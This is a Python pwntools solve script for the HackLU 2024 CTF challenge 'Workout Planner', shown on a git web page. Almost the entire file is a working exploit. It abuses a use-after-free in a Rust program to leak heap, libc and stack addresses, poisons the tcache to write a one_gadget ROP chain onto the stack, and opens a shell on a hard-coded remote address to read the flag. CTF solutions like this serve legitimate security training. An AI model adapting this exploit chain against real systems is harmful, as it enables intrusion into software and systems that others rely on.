hacklu24-workout-planner

HackLU 2024 Challenge 'Workout Planner'
git clone https://git.sinitax.com/sinitax/hacklu24-workout-planner
Log | Files | Refs | sfeed.txt

solve.py (7101B)


      1from os import kill
      2from signal import SIGKILL
      3from pwn import *
      4from ast import literal_eval
      5from pwnlib.gdb import psutil
      6
      7
      8def add_exercise(io, name, description):
      9    io.readuntil(b"Choose an option: ")
     10    io.sendline(b"1")
     11    io.readuntil(b"What's the name")
     12    io.sendline(name)
     13    io.readuntil(b"what is the description")
     14    io.sendline(description)
     15
     16
     17def add_workout(io, exercises):
     18    io.readuntil(b"Choose an option: ")
     19    io.sendline(b"2")
     20    io.readuntil(b"How many exercises")
     21    io.sendline(str(len(exercises)).encode())
     22    for name,count in exercises:
     23        io.readuntil(b"Enter the name")
     24        io.sendline(name)
     25        io.readuntil(b"How many times")
     26        io.sendline(str(count).encode())
     27    io.readuntil(b"Your workout has id ")
     28    return int(io.readline())
     29
     30
     31def show_workout(io, wid):
     32    io.readuntil(b"Choose an option: ")
     33    io.sendline(b"3")
     34    io.readuntil(b"what's the id of your workout? \n")
     35    io.sendline(str(wid).encode())
     36    exercises = []
     37    while True:
     38        line = io.readline()
     39        if b" - " not in line:
     40            io.unrecv(line)
     41            break
     42        parts = line.decode().strip().split(" - ")
     43        name, description = map(bytes, map(literal_eval, parts))
     44        exercises.append((name, description))
     45    return exercises
     46
     47
     48def edit_exercise(io, name, description):
     49    io.readuntil(b"Choose an option: ")
     50    io.sendline(b"4")
     51    io.readuntil(b"Enter the name")
     52    io.sendline(name)
     53    io.readuntil(b"Enter the new description")
     54    io.sendline(description)
     55
     56
     57def bp(io):
     58    io.readuntil(b"Choose an option: ")
     59    io.sendline(b"break")
     60    io.unread(io.readuntil(b"Choose"))
     61
     62
     63def leave(io):
     64    io.readuntil(b"Choose an option: ")
     65    io.sendline(b"5")
     66    io.close()
     67
     68
     69def unmask(p):
     70    for o in range(48, 0, -12):
     71        p ^= ((p >> o) & 0xfff) << (o - 12)
     72    return p
     73
     74
     75def run():
     76    attach_pid = None
     77    if args.REMOTE:
     78        io = remote("162.55.187.21", 1024)
     79    elif args.DOCKER:
     80        io = remote("localhost", 1024)
     81        if args.ATTACH:
     82            io.unread(io.readuntil(b"Choose"))
     83            pid = next(p.pid for p in psutil.process_iter() if p.cmdline() == ["/chall"])
     84            attach_pid = run_in_new_terminal(f"sudo nsenter -t {pid} -a sh -c \"rustup run nightly-2024-09-09 rust-gdb -p \\$(pidof chall) -ex 'directory /source' -ex 'b src/main.rs:126' -ex 'c'\"", kill_at_exit=False)
     85            input()
     86    else:
     87        io = process("./exe")
     88        if args.ATTACH:
     89            io.unread(io.readuntil(b"Choose"))
     90            attach_pid = run_in_new_terminal(f"rustup run nightly-2024-09-09 rust-gdb -ex 'file exe' -ex 'b src/main.rs:126' -ex 'c' -p {io.proc.pid}", kill_at_exit=False)
     91            sleep(3)
     92
     93    # structure sizes and layouts:
     94    #  - vec: 0x18 size (cap | ptr | len)
     95    #  - rc<excercise>: 0x40 size (strong | weak | name_vec | desc_vec)
     96    #  - repeat_n: 0x10 size (ptr | count)
     97    #  - workout: 0x18 size (vec)
     98
     99    # vec defaults to cap = 4, as such:
    100    #  -  vec<repeat_n>.inner.ptr: 0x10 * 4 = 0x40
    101    #  -  vec<workout>.inner.ptr: 0x18 * 4 = 0x60
    102
    103    print("START")
    104
    105    # setup UAF for rc<excercise>
    106    add_exercise(io, b"0", b"A")
    107    old = add_workout(io, [(b"0", 0)])
    108    add_exercise(io, b"0", b"B")
    109
    110    # add workout (vec<repeat_n>), this fills UAF chunk (same size 0x40).
    111    # later, because of repeat_n layout, we can increment repeat_n pointer by
    112    # incrementing the old rc<excercise> via UAF.
    113    new = add_workout(io, [(b"0", 1)])
    114
    115    # to leak libc we create a new excercise and free it..
    116    add_exercise(io, b"1" * 0x10, b"C" * 0x40) # 0x40 important later for fake excercise
    117    add_exercise(io, b"1" * 0x10, b"D")
    118
    119    # ..then we point the old repeat pointer to the newly freed excercise.
    120    # the excercise's name and description vec are still valid because
    121    # insert returns the old value so old exercise is dropped / freed last.
    122    for i in range(0x50 + 0x50):
    123        show_workout(io, old)
    124
    125    # show_workout now gives the fd_ptr field of both free'd name and
    126    # description chunks of the new exercise, thereby leaking heap aslr.
    127    name, _ = show_workout(io, new)[0]
    128    heap_leak = u64(name[:8])
    129    tcache_key = name[8:16]
    130    heap_base = (unmask(heap_leak) & ~0xfff) - 0x3000
    131    print("HEAP", hex(heap_base))
    132
    133    # now that we know heap_base, we can replace the freed excercise with
    134    # a fake one and use show_workout to do arbitrary read.
    135
    136    # first we leak libc..
    137    fake = p64(1) + p64(1) # strong and weak count
    138    fake += p64(0x8) + p64(heap_base + 0x308) + p64(0x8) # name vec
    139    fake += p64(0x8) + p64(heap_base + 0x308) + p64(0x8) # desc vec
    140    add_exercise(io, b"2", fake)
    141    libc_leak = u64(show_workout(io, new)[0][0][:8])
    142    libc_base = (libc_leak & ~0xfff) - 0x204000
    143    print("LIBC", hex(libc_base))
    144
    145    # reshuffle tcache
    146    add_exercise(io, b"2", b"E")
    147    add_exercise(io, b"2", b"E" * 0x40)
    148    add_exercise(io, b"2", b"E")
    149
    150    # ..then we leak stack.
    151    fake = p64(1) + p64(1) # strong and weak count
    152    fake += p64(0x8) + p64(libc_base - 0x3000 + 0xa80) + p64(0x8) # name vec
    153    fake += p64(0x8) + p64(libc_base - 0x3000 + 0xa80) + p64(0x8) # desc vec
    154    add_exercise(io, b"2", fake)
    155    stack_leak = u64(show_workout(io, new)[0][0][:8])
    156    print("STACK LEAK", hex(stack_leak))
    157
    158    # setup another UAF for rc<excercise>. here we craft a fake free chunk
    159    # to perform tcache poisoning and write our rop gadget onto the stack.
    160    # after the UAF excercise is fully dropped by replacing it in the btree,
    161    # the freed exercise chunk is first in the tcache bin (0x50) and the bin
    162    # has more than 2 entries, allowing us to fake the third entry.
    163    # (we actually need this to generate exactly 3 tcache entries because
    164    #  we always need an exercise chunk (0x50) last and if we have > 3 the
    165    #  last fd ptr will not be valid)
    166    one_gadget = libc_base + 0xef4ce
    167    rop_clear_rbx = libc_base + 0x586d4
    168    rop_clear_r12 = libc_base + 0x110951
    169    ret_addr = stack_leak - 0xa00
    170    fd_addr = heap_base + 0x3270
    171    fd_dest = heap_base + 0x31d0
    172    fake = b"3" * 0x10 + p64(ret_addr ^ ((fd_dest + 0x10) >> 12)) + tcache_key
    173    fake += b"3" * (0x40 - len(fake))
    174    add_exercise(io, fake, b"G")
    175    final = add_workout(io, [(fake, 0)])
    176    add_exercise(io, fake, b"G")
    177
    178    # use increment to change fd pointer to fake chunk.
    179    fd_curr = fd_dest ^ (fd_addr >> 12)
    180    fd_next = (fd_dest + 0x10) ^ (fd_addr >> 12)
    181    print("FD", hex(fd_curr), hex(fd_next))
    182    if fd_next < fd_curr:
    183        io.close()
    184        if attach_pid is not None:
    185            kill(attach_pid, SIGKILL)
    186        sleep(1)
    187        return False
    188    for i in range(fd_curr, fd_next):
    189        show_workout(io, final)
    190    add_exercise(io, b"4", b"H" * 0x40) # consume first two 0x50 chunks
    191    bp(io)
    192    rop = p64(0) + p64(rop_clear_r12) + p64(0) + p64(rop_clear_rbx) + p64(0) + p64(one_gadget)
    193    rop += (0x40 - len(rop)) * b"I"
    194    assert b"\n" not in rop
    195    add_exercise(io, b"5", rop)
    196
    197    io.sendline(b"cat flag.txt")
    198
    199    io.interactive()
    200
    201    return True
    202
    203
    204while not run():
    205    pass